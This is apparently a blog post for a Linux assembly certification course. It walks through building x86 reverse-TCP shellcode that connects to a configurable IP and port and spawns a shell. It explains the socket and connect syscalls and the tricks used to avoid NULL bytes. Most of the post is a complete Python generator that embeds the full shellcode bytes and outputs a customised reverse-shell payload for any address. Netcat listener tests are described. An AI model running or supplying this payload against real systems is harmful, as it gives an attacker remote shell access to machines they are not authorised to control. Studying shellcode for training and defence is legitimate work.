Posts Tagged reverse tcp

Assignment 2: Shell reverse TCP shellcode


Create a Shell_Reverse_TCP shellcode that (a) reverse connects to an ip and port, and (b) executes a shell on successful connection. IP and port number should be easily configurable.


This shellcode will share some parts from the shellcode presented in the first assignment. What we need to do is:

  • Create a socket
  •  Use the connect() method instead of bind, to connect to another socket listening on a specified ip address and port
  • Redirect standard input/output/error to this socket
  • Execute an execve to spawn a shell

The socket creation part will be the same as in the first assignment. The code is presented below:

a2p1

After that, we need to call the connect function in order to make the connection to the listener that waits for the reverse shell connection on the remote end. The man page for connect():

a2p2

This is similar to the bind() syscal in our first assignment. Let’s say that we want to connect on localhost (127.0.0.1) and port 31453 (0x7add). In order to compute the hex value of 127.0.0.1, we can use the command gethostip with the –x argument, as shown below:

a2p3

We can see that there are two NULL bytes in this address. We will have to cater for that in our shellcode, which must be free of NULL bytes.
The parameters can be visualized in the next diagram:
a2p4

The tricky part here is the sockaddr structure. For IPv4, this is expected to be 16 bytes long. The values will be laid out as follows:

  • Family (AF_INET):  0x0002
  • Port (31453): 0x7add
  • IP Address (IPADDR_ANY): 7f 00 00 01
  • Zero padding: 00 00 00 00 00 00 00 00

All these must be pushed on the stack in reverse order. There are a lot of NULL bytes in the padding, as well as the address itself. We will need to push 8 NULLs, then the ip address (reverse order) then the port (again reverse order), then the 0x02 value as word (2 bytes).

To get the 8 NULL bytes , we can use two pushes of a full register, zeroed out (i.e. ESI). For the ip address, since we cannot afford to have NULL bytes, we will need to do some arithmetic.

Observe that 0xFFFFFFFF – 0x7F000001 = 0x80FFFFFE, which does not have any NULL bytes. We need to subtract 0x80FFFFFE from 0xFFFFFFFF to get our 127.0.0.1 address. All we are left to do is reverse the order of the number that we got from our subtraction and push that on the stack. This can be done with a bswap instruction. The connect() call can therefore be coded as below:
a2p5

After that all we have to do is the stdin/stdout/stderr redirection for the socket descriptor from socket() call, and spawn a shell. The only difference from the code in the first assignment is the sockfd descriptor, which now is stored into EDX, and has to be moved into EBX for the dup2() calls. The code is presented below:

a2p6

Our shellcode is now complete. Compile and check to see if we have any NULL bytes:

a2p7

Let’s test it. Open a terminal and setup a port listening on 32453, using netcat:

a2p8

We can execute our shellcode, by running it via strace (this way we will also be able to see all the system calls):

a2p9

On the terminal where we setup the nc, we get a connection, and we can execute commands (user input shown with red arrows):

a2p11

Sending a Ctrl-C on this window, terminates nc, and our shellcode running under strace.
So the shellcode is complete. The assignment though asks that the port and ip address should be easily configurable. In order to accomplish that we need to be able to modify the shellcode, depending on whether the user entered an ip address that contains a 0 tuple (i.e. 10.0.1.15) or not. Since this would result in null bytes in the shellcode, we have to resort to the trick presented above (subtract from 0xfffffffff), or if there are no 0 tuples in the ip address, just use it unmodified. Let’s look at the code, as it is presented for the localhost address.

a2p12

In the red rectangle, we have the two instructions for computing the subtraction 0xFFFFFFFF –0x80FFFFFE which will give us the hex representation of the ip address we want 0x7F000001 (127.0.0.1). In the green rectangle, the instruction for the port we want to connect to (in our case 31453, 0x7add). This is the second part of the shellcode that needs to be easily configurable.
The following pseudo code presents the two choices for the ip address computation, and the pseudo-instructions for each:

a2p10_2

Of course, we are working with shellcode, so the mov esi, 0xffffffff should be translated to \xbe\xff\xff\xff\xff.
Likewise for the port number, we need to compute the hex value of the required port, and add it in the shellcode in the form \x66\x68\<port_number>, i.e. \x66\x68\x7a\xdd.
The following python code does all the required computations and shifting and mixing for us. It expects an ip address and a port, and will produce the customized shellcode for us. It will not check for the resulting port number, being free of NULL bytes i.e. if you give it port 80, the resultant shellcode for the port will be \x66\x68\x00\x50.

#!/usr/bin/python

import sys
import re
import binascii
import socket
import struct

start_segment = (
'\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x66\\xb3\\x01\\x6a\\x06\\x6a\\x01'+
'\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x31\\xc0\\x31\\xf6\\xb0\\x66'+
'\\x80\\xc3\\x02\\x56\\x56'
)
mov_instr='\\xbe\\xff\\xff\\xff\\xff'
sub_instr='\\x81\\xee'
#\xfe\xff\xff\x80 - this is where the computed value for ip address subtraction should be, reversed
bswap_instr='\\x0f\\xce\\x56'
pushw_instr='\\x66\\x68'
#\x7a\xdd - this is where the port value should be

end_segment = (
'\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x52\\x89\\xe1\\xcd\\x80\\x89'+
'\\xd3\\x31\\xc0\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9'+
'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89'+
'\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80'
)

# Check proper arguments passesd at command line
if len(sys.argv) != 3 or sys.argv[1].find('.')==-1:
 print &quot;Reverse tcp connect - Shellcode create script for user supplied&quot;
 print &quot;IP address and port.&quot;
 print &quot;usage: shcreateA2.py [ip_address] [port]&quot;
 print &quot;&quot;
 sys.exit(1)

ip = sys.argv[1]
port = sys.argv[2]
sep='\\x'
movesi_instr='\\xbe'  # will be used if address is zero free
hexip=binascii.hexlify(socket.inet_aton(ip))

# Use a regex to search for an address containing zeros
# \.0  match dot zero
match = re.search(r'\.0', ip)

if match:
 print &quot;[*] Supplied ip address contains zero...&quot;
 #subtract address from 0xFFFFFFF
 s=4294967295 - int(hexip, 16) 
 print &quot;Subtracting from 0xFFFFFFFF:&quot;, hex(s)
 #make it a string, store only numbers
 k=hex(s)[2:10]
 print &quot;String extract:&quot;, k
 # reverse byte order
 revk=binascii.hexlify(struct.pack('&lt;L', int(k,16)))
 #insert \x seperators
 srevk=sep+revk[0:2]+sep+revk[2:4]+sep+revk[4:6]+sep+revk[6:8]
 print &quot;      reversed:&quot;,revk
 # put pieces together
 IP_SEGMENT= mov_instr+sub_instr+srevk+bswap_instr
 #print &quot;Shellcode segment for this IP is:\n&quot;, IP_SEGMENT

else:
 #no zeroes in supplied ip address
 #reverse byte order
 reversedhexip=binascii.hexlify(struct.pack('&lt;L', int(hexip,16)))
 #insert \x seperators
 srevip=sep+reversedhexip[0:2]+sep+reversedhexip[2:4]+sep+reversedhexip[4:6]+sep+reversedhexip[6:8]
 #put pieces together
 IP_SEGMENT=movesi_instr+srevip+bswap_instr
 #print &quot;Shellcode segment for this IP is:\n&quot;, IP_SEGMENT

#Compute shellcode for supplied port number
port_str=&quot;{0:0{1}x}&quot;.format(int(port),4)
sport_str=sep+port_str[0:2]+sep+port_str[2:4]
PORT_SEGMENT=pushw_instr+sport_str
#print &quot;Port string:&quot;, PORT_SEGMENT

#put all pieces together
shellcode=start_segment+IP_SEGMENT+PORT_SEGMENT+end_segment

print &quot;[*] Shellcode length:&quot;,len(shellcode)/4
print shellcode

print &quot;-------------------\n&quot;
reversedhexip=binascii.hexlify(struct.pack('&lt;L', int(hexip,16)))
#print &quot;Hex ip address&quot;,hexip
#print &quot;Reversed:&quot;, reversedhexip

print &quot;IP addres:&quot;, ip, &quot;   Hex conv.:&quot;,hexip, &quot;   Reversed Hex:&quot;,reversedhexip
print &quot;Port:&quot;,port,&quot;   Hex port:&quot;,port_str

The following presents two runs, one with an ip without zeros, and one with zeros. The first run for port 80, contains a NULL byte.

a2p13
Let’s test it. First we will configure our system with an ip address and setup a netcat listening:

a2p14

Generate the shellcode using the perl script, paste it into the shellcode.c file, compile and run:

a2p15

We get a connection on our nc, and can execute commands:

a2p16

This concludes this assignment. Although we created an automated perl script for generating customized shellcode for any IP/port combination, bare in mind that there are no exhaustive checks against NULL bytes in the shellcode, therefore, it is always up to you to decide whether the resultant shellcode is sufficient.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645


 

 

, , ,

Leave a comment

Design a site like this with WordPress.com
Get started